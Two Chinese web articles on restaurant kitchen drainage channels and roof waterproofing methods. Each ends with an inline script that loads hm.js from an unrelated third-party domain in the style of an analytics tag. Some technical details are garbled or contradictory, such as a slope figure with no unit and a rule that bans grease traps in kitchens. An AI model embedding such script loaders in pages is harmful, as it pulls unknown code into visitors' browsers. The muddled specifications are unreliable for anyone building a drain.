在装修中餐厅厨房排水沟做法都有哪些

餐饮业的厨房不同于家庭厨房。这里是人们生产食品的地方。合理的厨房布局不仅可以提高厨师的工作效率，降低劳动强度，保证食品安全，因此餐厅厨房排水沟做法在餐饮业尤为重要。餐厅厨房排水沟做法之一：厨房的布置可根据热处理间、生产间、制备间、仓库、厨房服务间、餐具清洗消毒库的工艺流程进行布置。热处理间一般是厨房的中心位置，一侧为实心墙，便于炉顶、烟罩和各种管道的安装。这个空间占厨房面积的40-50%。餐厅厨房排水沟做法之二：它是厨房排水管应通畅，洁净的操作区不得设置明沟，如采用明沟排水，应加盖壁子。沟内遮阳角做成弧形，有水封和防鼠装置。在油腻的排水系统中，安装隔油垫。排水沟应具有一定的坡度，侧面和底部接缝处应有一定的弧度（曲率半径不小于3cm），以及可拆卸的盖板。排水流量的设计应防止污水逆流。餐厅厨房排水沟做法之三：隔油系统所需空间应根据隔离技术、含油污水排放等因素确定，储油部位应便于清洁和管理。厨房、餐饮室和其他卫生场所不得设置隔离油污设施。餐厅厨房排水沟做法之四设计的标准：厨房跨度大，排水管铺设距离长，厨房排水不畅，需要经常清洗，大大增加了后勤维护工作量。合理布置排水设施是非常重要的，炉前排水设施不应靠近炉子，应离开炉子约400-500毫米餐厅厨房排水沟做法之五：可采用明沟或暗沟。明沟易排水，易冲洗，防止堵塞，但容易有怪味，分布在厨房。暗沟的设计可以使厨房显得更加光亮，方便设备的摆放，不必担心有气味，但管道比较难清洗。餐厅厨房排水沟做法之六：排水坡度一般不小于1.5，排水流量从高洁净区流向低洁净区。在洁净作业区，采用暗排带水封的污水，防止废水流入和浑浊度的逸出。排水沟沟沟深0.15～0.20m，沟宽约0.3～0.38m，沟边、沟底应处理成园弧。保证沟内无水，保证排水畅通。排水盖材质尽量采用防锈材料做排水沟，具有耐酸、碱、有机溶剂及耐盐腐蚀性。老鼠围栏排水沟：厨房排水口要求必须安装金属网罩、老鼠围栏、过滤器等，防止啮齿动物进入。以上是排水沟做法的全部介绍。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

建筑屋面防水工程的做法有哪些呢

一栋建筑除了基础的根基和结构外，防水、排水等也是重要的基础设施。大家都不想看见漏水渗水的的情况。所以建筑屋面防水工程显得尤为重要。不但影响着居民的使用感，而且对于建筑本身的质量保障和寿命也起着重要的决定性作用。那么建筑屋面防水工程应该使用什么做法来进行比较有保障呢，以下就从卷材防水、刚性防水、钢筋混凝土构件自防水和瓦材防水四种情况向大家分别说明。建筑屋面防水的卷材防水屋面做法，它的构造与做法和民用的建筑差不多，不过，房屋面受到的振动大，板缝的防水层就容易出现开裂的情况，而造成这些情况的原因是由于温度，结构体系等都发生变形造成的。像这种情况可以选用钢性好的板型，可以改进成卷材的防水接缝构造的做法。也就是要将横缝处的平层上面，先铺一层附加层，要干铺，再铺上卷材防水层，这样才能达到有效的防水。建筑屋面防水的构件自防水屋面做法，它是要将防止水与承重合二为一的，主要是通过屋面构件自身的混凝土密实性与对板缝做局部防水处理。建筑屋面防水的石棉水泥瓦屋面做法，这种屋面的构造是将石棉水泥瓦搭在檩条上，屋面坡度为l:2.5—1:3。这种防水效果好，而且价格也不高，选择这种材料的防水还是比较实惠的。建筑屋面防水这是一项重要的工程，如果这个工程搞不好，影响到的是整个房屋。对于装修，除了要注重工业屋面防水，建筑屋面排水，保暖等各方面也都是非常重要的。而对于这些方面，最好是能够找到专业的工程队来做，效果会更符合业主的愿景。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();